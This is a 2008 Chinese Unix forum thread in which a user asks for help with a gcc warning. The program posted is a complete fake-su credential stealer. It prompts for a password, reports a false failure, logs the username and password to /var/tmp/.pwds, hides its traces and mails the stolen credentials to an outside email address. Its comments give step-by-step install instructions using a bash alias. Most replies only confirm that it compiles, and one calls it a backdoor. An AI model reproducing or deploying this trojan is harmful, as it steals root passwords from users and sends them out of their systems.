免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1760 | 回复: 4
打印 上一主题 下一主题

gcc编译个程序编译出错 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-02-20 00:07 |只看该作者 |倒序浏览
程序如下:
  1. /*
  2. * kpr-fakesu.c V0.9beta167 ;P
  3. * by koper <[email]koper@linuxmail.org[/email]>
  4. *
  5. * Setting up:
  6. * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
  7. * admin@host:~$ mv .su /var/tmp/.su
  8. * admin@host:~$ cp .bash_profile .wgetrc
  9. * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
  10. * admin@host:~$ logout
  11. * *** LOGIN ***
  12. * admin@host:~$ su
  13. * Password:
  14. * su: Authentication failure
  15. * Sorry.
  16. * admin@host:~$ su
  17. * Password:
  18. * root@host:~# logout
  19. * admin@host:~$ cat /var/tmp/.pwds
  20. * root:dupcia17
  21. * admin@host:~$
  22. *
  23. * /bin/su sends various failure information depending on the OS ver.
  24. * Please modify the source to make it "fit" ;)
  25. *
  26. */

  27. #include <stdio.h>
  28. #include <stdlib.h>

  29. main(int argc, char *argv[]){

  30. FILE *fp;
  31. char *user;
  32. char *pass;
  33. char filex[100];
  34. char clean[100];

  35. sprintf(filex,"/var/tmp/.pwds");
  36. sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
  37. if(argc==1) user="root";
  38. if(argc==2) user=argv[1];
  39. if(argc>2){
  40.    if(strcmp(argv[1], "-l")==0)
  41.      user=argv[2];
  42.    else user=argv[1];}

  43. fprintf(stdout,"Password: "); pass=getpass ("");
  44. system("sleep 3");
  45. fprintf(stdout,"su: Authentication failure\nSorry.\n");

  46. if ((fp=fopen(filex,"w")) != NULL)
  47.   {
  48.   fprintf(fp, "%s:%s\n", user, pass);
  49.   fclose(fp);
  50.   }

  51. system(clean);
  52. system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

  53. /* If you don't want password in your e-mail uncomment this line: */

  54. system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email]kalikosta@hotmail.com[/email]");

  55. }
复制代码



但是就是出错:

[test@sz root]$ gcc su.c
su.c: In function `main':
su.c:48: warning: assignment makes pointer from integer without a cast

[test@sz root]$ uname -a
Linux sz 2.4.21-27.ELsmp #1 SMP Wed Dec 1 21:59:02 EST 2004 i686 i686 i386 GNU/Linux


有些程序可以编译成功,但有的不行。而且不少有报“.c: In function `main':
不知是为什么?如何解决?谢谢!

[ 本帖最后由 l0pht 于 2008-2-20 00:14 编辑 ]

论坛徽章:
0
2 [报告]
发表于 2008-02-20 09:21 |只看该作者
编译 出的程序 可以执行, 虽然报错~~

论坛徽章:
0
3 [报告]
发表于 2008-02-20 09:35 |只看该作者
可以用的啊
你贴第48行出来看看啊

论坛徽章:
0
4 [报告]
发表于 2008-02-20 15:07 |只看该作者
这个后门写得也真是……

论坛徽章:
0
5 [报告]
发表于 2008-02-20 23:43 |只看该作者
编译成功。这程序写的怎么?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP